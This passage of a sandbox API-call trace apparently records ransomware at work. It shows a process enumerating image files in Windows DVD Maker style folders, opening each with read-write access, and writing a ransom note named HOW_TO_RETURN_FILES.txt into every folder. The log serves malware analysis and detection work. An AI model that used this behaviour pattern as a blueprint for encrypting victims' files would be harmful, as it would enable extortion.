returned 0x4e4 [0125.632] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Dot.png", cchWideChar=7, lpMultiByteStr=0x6aae44, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Dot.pnghumbnail.bmp", lpUsedDefaultChar=0x37df4c) returned 7 [0125.632] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.632] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.632] AreFileApisANSI () returned 1 [0125.632] GetACP () returned 0x4e4 [0125.632] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DvdTransform.fx", cchWideChar=15, lpMultiByteStr=0x6aae44, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DvdTransform.fx.bmp", lpUsedDefaultChar=0x37df4c) returned 15 [0125.632] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\DvdTransform.fx" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\dvdtransform.fx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.632] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.632] AreFileApisANSI () returned 1 [0125.632] GetACP () returned 0x4e4 [0125.632] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FlipPage", cchWideChar=8, lpMultiByteStr=0x6aae44, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="FlipPageform.fx", lpUsedDefaultChar=0x37df4c) returned 8 [0125.633] AreFileApisANSI () returned 1 [0125.633] GetACP () returned 0x4e4 [0125.633] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d210, cbMultiByte=53, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\") returned 53 [0125.658] AreFileApisANSI () returned 1 [0125.658] GetACP () returned 0x4e4 [0125.658] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37dec0) returned 1 [0125.658] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.658] AreFileApisANSI () returned 1 [0125.658] GetACP () returned 0x4e4 [0125.658] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..F", lpUsedDefaultChar=0x37dec0) returned 2 [0125.658] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.658] AreFileApisANSI () returned 1 [0125.658] GetACP () returned 0x4e4 [0125.658] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="1047x576black.png", lpUsedDefaultChar=0x37dec0) returned 17 [0125.658] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.659] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.659] AreFileApisANSI () returned 1 [0125.659] GetACP () returned 0x4e4 [0125.659] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="203x8subpicture.png", cchWideChar=19, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="203x8subpicture.png", lpUsedDefaultChar=0x37dec0) returned 19 [0125.659] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\203x8subpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.660] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.660] AreFileApisANSI () returned 1 [0125.660] GetACP () returned 0x4e4 [0125.660] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="NavigationLeft_ButtonGraphic.png\\", lpUsedDefaultChar=0x37dec0) returned 32 [0125.660] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.660] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.660] AreFileApisANSI () returned 1 [0125.660] GetACP () returned 0x4e4 [0125.660] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="NavigationLeft_SelectionSubpicture.pnga", lpUsedDefaultChar=0x37dec0) returned 38 [0125.661] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.676] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.676] AreFileApisANSI () returned 1 [0125.676] GetACP () returned 0x4e4 [0125.676] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="NavigationRight_ButtonGraphic.pnge.png", lpUsedDefaultChar=0x37dec0) returned 33 [0125.676] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.677] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.677] AreFileApisANSI () returned 1 [0125.677] GetACP () returned 0x4e4 [0125.677] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="NavigationRight_SelectionSubpicture.png", lpUsedDefaultChar=0x37dec0) returned 39 [0125.677] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.678] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.678] AreFileApisANSI () returned 1 [0125.678] GetACP () returned 0x4e4 [0125.678] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="NavigationUp_ButtonGraphic.pngcture.png", lpUsedDefaultChar=0x37dec0) returned 30 [0125.678] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.679] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.679] AreFileApisANSI () returned 1 [0125.679] GetACP () returned 0x4e4 [0125.679] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="NavigationUp_SelectionSubpicture.pngpng", lpUsedDefaultChar=0x37dec0) returned 36 [0125.679] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.680] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.680] AreFileApisANSI () returned 1 [0125.680] GetACP () returned 0x4e4 [0125.680] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="pagecurl.png", cchWideChar=12, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="pagecurl.png_SelectionSubpicture.png", lpUsedDefaultChar=0x37dec0) returned 12 [0125.680] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\pagecurl.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\pagecurl.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.680] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 0 [0125.680] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0125.681] AreFileApisANSI () returned 1 [0125.681] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aafd0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 77 [0125.681] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0125.682] GetFileType (hFile=0x130) returned 0x1 [0125.683] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.683] AreFileApisANSI () returned 1 [0125.683] GetACP () returned 0x4e4 [0125.683] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Full", cchWideChar=4, lpMultiByteStr=0x6aae44, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="FullPage", lpUsedDefaultChar=0x37df4c) returned 4 [0125.683] AreFileApisANSI () returned 1 [0125.683] GetACP () returned 0x4e4 [0125.683] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d210, cbMultiByte=49, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\j㖬h") returned 49 [0125.716] AreFileApisANSI () returned 1 [0125.716] GetACP () returned 0x4e4 [0125.716] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 1 [0125.717] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.717] AreFileApisANSI () returned 1 [0125.717] GetACP () returned 0x4e4 [0125.717] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 2 [0125.717] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.717] AreFileApisANSI () returned 1 [0125.717] GetACP () returned 0x4e4 [0125.717] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="1047x576black.pngf47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 17 [0125.717] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.718] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.718] AreFileApisANSI () returned 1 [0125.718] GetACP () returned 0x4e4 [0125.718] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="15x15dot.png", cchWideChar=12, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="15x15dot.pngk.png", lpUsedDefaultChar=0x37dec0) returned 12 [0125.718] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\15x15dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.718] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.718] AreFileApisANSI () returned 1 [0125.718] GetACP () returned 0x4e4 [0125.718] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="dotsdarkoverlay.png", cchWideChar=19, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="dotsdarkoverlay.png7pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 19 [0125.718] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotsdarkoverlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\dotsdarkoverlay.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.719] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.719] AreFileApisANSI () returned 1 [0125.719] GetACP () returned 0x4e4 [0125.719] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="dotslightoverlay.png", cchWideChar=20, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="dotslightoverlay.pngpd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 20 [0125.719] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\dotslightoverlay.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.719] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.719] AreFileApisANSI () returned 1 [0125.719] GetACP () returned 0x4e4 [0125.719] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="full.png", cchWideChar=8, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="full.pngtoverlay.png", lpUsedDefaultChar=0x37dec0) returned 8 [0125.719] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\full.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.720] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.720] AreFileApisANSI () returned 1 [0125.720] GetACP () returned 0x4e4 [0125.720] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="NavigationLeft_ButtonGraphic.pngRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 32 [0125.720] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.721] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.721] AreFileApisANSI () returned 1 [0125.721] GetACP () returned 0x4e4 [0125.721] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="NavigationLeft_SelectionSubpicture.png5TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 38 [0125.721] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.722] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.722] AreFileApisANSI () returned 1 [0125.722] GetACP () returned 0x4e4 [0125.722] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="NavigationRight_ButtonGraphic.pnge.png", lpUsedDefaultChar=0x37dec0) returned 33 [0125.722] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.722] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.722] AreFileApisANSI () returned 1 [0125.722] GetACP () returned 0x4e4 [0125.722] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="NavigationRight_SelectionSubpicture.pngTNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 39 [0125.722] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.723] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.723] AreFileApisANSI () returned 1 [0125.723] GetACP () returned 0x4e4 [0125.723] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="NavigationUp_ButtonGraphic.pngcture.png", lpUsedDefaultChar=0x37dec0) returned 30 [0125.723] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.724] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.724] AreFileApisANSI () returned 1 [0125.724] GetACP () returned 0x4e4 [0125.724] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="NavigationUp_SelectionSubpicture.pngpng", lpUsedDefaultChar=0x37dec0) returned 36 [0125.724] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.725] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.725] AreFileApisANSI () returned 1 [0125.725] GetACP () returned 0x4e4 [0125.725] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="pushplaysubpicture.png", cchWideChar=22, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="pushplaysubpicture.pngSubpicture.png", lpUsedDefaultChar=0x37dec0) returned 22 [0125.725] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\pushplaysubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\pushplaysubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.725] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 0 [0125.725] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0125.726] AreFileApisANSI () returned 1 [0125.726] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aafd0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 73 [0125.726] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0125.727] GetFileType (hFile=0x130) returned 0x1 [0125.727] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.727] AreFileApisANSI () returned 1 [0125.727] GetACP () returned 0x4e4 [0125.728] WideCharToMultiByte (in: 